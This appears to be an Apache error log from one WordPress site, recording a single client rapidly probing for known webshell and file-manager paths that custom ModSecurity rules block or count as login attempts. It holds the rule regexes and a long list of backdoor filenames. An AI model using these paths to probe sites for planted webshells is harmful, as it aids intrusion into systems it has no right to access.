[Tue Apr 07 21:34:01.473116 2026] [:error] [pid 37597:tid 37658] [client 185.245.82.81:52158] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "adUHyQ6uAY0QAy-8EEKh3QAAAFg"]
[Tue Apr 07 21:34:02.240508 2026] [:error] [pid 37719:tid 37734] [client 185.245.82.81:52172] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "adUHyk09Xv52u2xXGLA6DgAAAMw"]
[Tue Apr 07 21:34:02.757703 2026] [:error] [pid 37719:tid 37740] [client 185.245.82.81:34160] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Tue Apr 07 21:34:03.272575 2026] [:error] [pid 37719:tid 37737] [client 185.245.82.81:34160] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "adUHy009Xv52u2xXGLA6FAAAAM8"]
[Tue Apr 07 21:34:04.304187 2026] [:error] [pid 59551:tid 59554] [client 185.245.82.81:34162] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "adUHzF7LN7Ubyqs-sVshBQAAAYE"]
[Tue Apr 07 21:34:06.683697 2026] [:error] [pid 37597:tid 37654] [client 185.245.82.81:34168] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "adUHzg6uAY0QAy-8EEKh6wAAAFQ"]
[Tue Apr 07 21:34:07.196636 2026] [:error] [pid 37719:tid 37737] [client 185.245.82.81:34170] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Tue Apr 07 21:34:07.453058 2026] [:error] [pid 37719:tid 37724] [client 185.245.82.81:34170] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "adUHz009Xv52u2xXGLA6KQAAAMI"]
[Tue Apr 07 21:34:07.966523 2026] [:error] [pid 59804:tid 59811] [client 185.245.82.81:34182] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Tue Apr 07 21:34:08.739250 2026] [:error] [pid 59804:tid 59826] [client 185.245.82.81:34182] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Tue Apr 07 21:34:09.509477 2026] [:error] [pid 59804:tid 59807] [client 185.245.82.81:34182] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "adUH0XYVIXiPh5_eJTm6kQAAAgE"]
[Tue Apr 07 21:34:10.019557 2026] [:error] [pid 37597:tid 37654] [client 185.245.82.81:34186] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Tue Apr 07 21:34:10.274321 2026] [:error] [pid 37597:tid 37655] [client 185.245.82.81:34186] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "adUH0g6uAY0QAy-8EEKh_AAAAFU"]
[Tue Apr 07 21:34:10.786333 2026] [:error] [pid 37598:tid 37669] [client 185.245.82.81:34190] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Tue Apr 07 21:34:11.301367 2026] [:error] [pid 37598:tid 37661] [client 185.245.82.81:34190] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "adUH0-9g7q_cV2WhPazH2AAAAIA"]
[Tue Apr 07 21:34:12.077861 2026] [:error] [pid 37597:tid 37652] [client 185.245.82.81:34202] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "adUH1A6uAY0QAy-8EEKiBQAAAFI"]
[Tue Apr 07 21:34:12.850027 2026] [:error] [pid 59660:tid 59667] [client 185.245.82.81:34208] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Tue Apr 07 21:34:13.108139 2026] [:error] [pid 59660:tid 59673] [client 185.245.82.81:34208] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Tue Apr 07 21:34:13.637140 2026] [:error] [pid 59660:tid 59672] [client 185.245.82.81:34208] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "adUH1Tp3-oiX2o5bTswdFwAAAco"]
[Tue Apr 07 21:34:14.411881 2026] [:error] [pid 12948:tid 12968] [client 185.245.82.81:36072] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "adUH1sbeSPAN8LvMqsa6MgAAARE"]
[Tue Apr 07 21:34:15.180251 2026] [:error] [pid 59551:tid 59561] [client 185.245.82.81:36076] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "adUH117LN7Ubyqs-sVshJQAAAYg"]
[Tue Apr 07 21:34:15.693208 2026] [:error] [pid 59551:tid 59571] [client 185.245.82.81:36086] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "adUH117LN7Ubyqs-sVshKwAAAZI"]
[Tue Apr 07 21:34:16.203954 2026] [:error] [pid 37597:tid 37656] [client 185.245.82.81:36096] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "adUH2A6uAY0QAy-8EEKiCwAAAFY"]
[Tue Apr 07 21:34:17.236436 2026] [:error] [pid 37598:tid 37676] [client 185.245.82.81:36100] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Tue Apr 07 21:34:17.494982 2026] [:error] [pid 37598:tid 37669] [client 185.245.82.81:36100] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "adUH2e9g7q_cV2WhPazH3wAAAIg"]
[Tue Apr 07 21:34:18.010589 2026] [:error] [pid 37597:tid 37647] [client 185.245.82.81:36112] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "adUH2g6uAY0QAy-8EEKiFgAAAE0"]
[Tue Apr 07 21:34:18.524779 2026] [:error] [pid 37597:tid 37635] [client 185.245.82.81:36126] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "adUH2g6uAY0QAy-8EEKiGwAAAEE"]
[Tue Apr 07 21:34:19.562749 2026] [:error] [pid 37597:tid 37635] [client 185.245.82.81:36132] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Tue Apr 07 21:34:20.081396 2026] [:error] [pid 37597:tid 37649] [client 185.245.82.81:36132] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Tue Apr 07 21:34:21.120468 2026] [:error] [pid 37597:tid 37642] [client 185.245.82.81:36132] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "adUH3Q6uAY0QAy-8EEKiMgAAAEg"]
[Tue Apr 07 21:34:22.412033 2026] [:error] [pid 12948:tid 12961] [client 185.245.82.81:36148] [client 185.245.82.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.245.82.81, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "adUH3sbeSPAN8LvMqsa6OAAAAQo"]
[Tue Apr 07 21:34:22.675548 2026] [:error] [pid 12948:tid 12971] [client 185.245.82.81:36148] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Tue Apr 07 21:34:23.974213 2026] [:error] [pid 12948:tid 12975] [client 185.245.82.81:36148] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Tue Apr 07 21:34:24.233746 2026] [:error] [pid 12948:tid 12957] [client 185.245.82.81:36148] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Tue Apr 07 21:34:25.531711 2026] [:error] [pid 12948:tid 12967] [client 185.245.82.81:36148] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "adUH4cbeSPAN8LvMqsa6SwAAARA"]
[Tue Apr 07 21:34:26.308930 2026] [:error] [pid 12948:tid 12958] [client 185.245.82.81:36636] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Tue Apr 07 21:34:26.564832 2026] [:error] [pid 12948:tid 12969] [client 185.245.82.81:36636] [client 185.245.82.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.245.82.81, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "adUH4sbeSPAN8LvMqsa6UQAAARI"]
[Tue Apr 07 21:34:27.083741 2026] [:error] [pid 12948:tid 12965] [client 185.245.82.81:36636] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "adUH48beSPAN8LvMqsa6VAAAAQ4"]
[Tue Apr 07 21:34:28.655266 2026] [:error] [pid 59660:tid 59669] [client 185.245.82.81:36640] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Tue Apr 07 21:34:29.179679 2026] [:error] [pid 59660:tid 59664] [client 185.245.82.81:36640] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_wlx.php
[Tue Apr 07 21:34:29.700354 2026] [:error] [pid 59660:tid 59686] [client 185.245.82.81:36640] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "adUH5Tp3-oiX2o5bTswdJwAAAdg"]
[Tue Apr 07 21:34:30.219985 2026] [:error] [pid 59551:tid 59570] [client 185.245.82.81:36642] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Tue Apr 07 21:34:31.008112 2026] [:error] [pid 59551:tid 59577] [client 185.245.82.81:36642] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Tue Apr 07 21:34:31.553031 2026] [:error] [pid 59551:tid 59573] [client 185.245.82.81:36642] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Tue Apr 07 21:34:32.076074 2026] [:error] [pid 59551:tid 59557] [client 185.245.82.81:36642] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Tue Apr 07 21:34:32.344622 2026] [:error] [pid 59551:tid 59572] [client 185.245.82.81:36642] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "adUH6F7LN7Ubyqs-sVshOgAAAZM"]
[Tue Apr 07 21:34:32.863438 2026] [:error] [pid 12948:tid 12957] [client 185.245.82.81:52624] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Tue Apr 07 21:34:33.125482 2026] [:error] [pid 12948:tid 12965] [client 185.245.82.81:52624] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Tue Apr 07 21:34:33.385615 2026] [:error] [pid 12948:tid 12962] [client 185.245.82.81:52624] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "adUH6cbeSPAN8LvMqsa6XgAAAQs"]
[Tue Apr 07 21:34:34.168315 2026] [:error] [pid 59660:tid 59680] [client 185.245.82.81:52636] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Tue Apr 07 21:34:34.684814 2026] [:error] [pid 59660:tid 59678] [client 185.245.82.81:52636] [client 185.245.82.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.245.82.81, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "adUH6jp3-oiX2o5bTswdLQAAAdA"]
[Tue Apr 07 21:34:34.945453 2026] [:error] [pid 59660:tid 59682] [client 185.245.82.81:52636] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "adUH6jp3-oiX2o5bTswdLgAAAdQ"]
[Tue Apr 07 21:34:38.058387 2026] [:error] [pid 59551:tid 59572] [client 185.245.82.81:52650] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Tue Apr 07 21:34:39.619551 2026] [:error] [pid 59551:tid 59565] [client 185.245.82.81:52650] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Tue Apr 07 21:34:39.876463 2026] [:error] [pid 59551:tid 59559] [client 185.245.82.81:52650] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "adUH717LN7Ubyqs-sVshVAAAAYY"]
[Tue Apr 07 21:34:40.393468 2026] [:error] [pid 59804:tid 59828] [client 185.245.82.81:52652] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Tue Apr 07 21:34:41.175280 2026] [:error] [pid 59804:tid 59811] [client 185.245.82.81:52652] [client 185.245.82.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.245.82.81, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "adUH8XYVIXiPh5_eJTm6tAAAAgU"]
[Tue Apr 07 21:34:41.439730 2026] [:error] [pid 59804:tid 59810] [client 185.245.82.81:52652] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Tue Apr 07 21:34:41.702740 2026] [:error] [pid 59804:tid 59819] [client 185.245.82.81:52652] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Tue Apr 07 21:34:41.966813 2026] [:error] [pid 59804:tid 59829] [client 185.245.82.81:52652] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Tue Apr 07 21:34:42.223054 2026] [:error] [pid 59804:tid 59813] [client 185.245.82.81:52652] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "adUH8nYVIXiPh5_eJTm6vAAAAgc"]
[Tue Apr 07 21:34:42.741045 2026] [:error] [pid 59660:tid 59679] [client 185.245.82.81:53412] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Tue Apr 07 21:34:42.997458 2026] [:error] [pid 59660:tid 59675] [client 185.245.82.81:53412] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/infi.php"] [unique_id "adUH8jp3-oiX2o5bTswdNQAAAc0"]
[Tue Apr 07 21:34:43.779092 2026] [:error] [pid 37597:tid 37638] [client 185.245.82.81:53424] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Tue Apr 07 21:34:44.040900 2026] [:error] [pid 37597:tid 37645] [client 185.245.82.81:53424] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "adUH9A6uAY0QAy-8EEKjIQAAAEs"]
[Tue Apr 07 21:34:45.087630 2026] [:error] [pid 59660:tid 59678] [client 185.245.82.81:53438] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Tue Apr 07 21:34:45.345529 2026] [:error] [pid 59660:tid 59682] [client 185.245.82.81:53438] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "adUH9Tp3-oiX2o5bTswdOwAAAdQ"]
[Tue Apr 07 21:34:45.861969 2026] [:error] [pid 37597:tid 37642] [client 185.245.82.81:15543] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "adUH9Q6uAY0QAy-8EEKjLAAAAEg"]
[Tue Apr 07 21:34:46.379563 2026] [:error] [pid 59551:tid 59574] [client 185.245.82.81:53454] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Tue Apr 07 21:34:46.639085 2026] [:error] [pid 59551:tid 59564] [client 185.245.82.81:53454] File does not exist: /usr/local/apache/htdocs/suspended-page/special.php
[Tue Apr 07 21:34:47.684511 2026] [:error] [pid 59551:tid 59555] [client 185.245.82.81:53454] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "adUH917LN7Ubyqs-sVshZQAAAYI"]
[Tue Apr 07 21:34:48.458031 2026] [:error] [pid 59490:tid 59513] [client 185.245.82.81:53464] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "adUH-Ecw8OFbiUZ7Rx1yBwAAAVU"]
[Tue Apr 07 21:34:49.766063 2026] [:error] [pid 59804:tid 59821] [client 185.245.82.81:53470] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit.php"] [unique_id "adUH-XYVIXiPh5_eJTm6wwAAAg8"]
[Tue Apr 07 21:34:50.283795 2026] [:error] [pid 59804:tid 59813] [client 185.245.82.81:53484] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Tue Apr 07 21:34:50.799345 2026] [:error] [pid 59804:tid 59826] [client 185.245.82.81:53484] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Tue Apr 07 21:34:51.055029 2026] [:error] [pid 59804:tid 59824] [client 185.245.82.81:53484] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "adUH-3YVIXiPh5_eJTm6yQAAAhI"]
[Tue Apr 07 21:34:51.572031 2026] [:error] [pid 59804:tid 59822] [client 185.245.82.81:53492] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Tue Apr 07 21:34:52.095794 2026] [:error] [pid 59804:tid 59818] [client 185.245.82.81:53492] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/click.php"] [unique_id "adUH_HYVIXiPh5_eJTm60AAAAgw"]
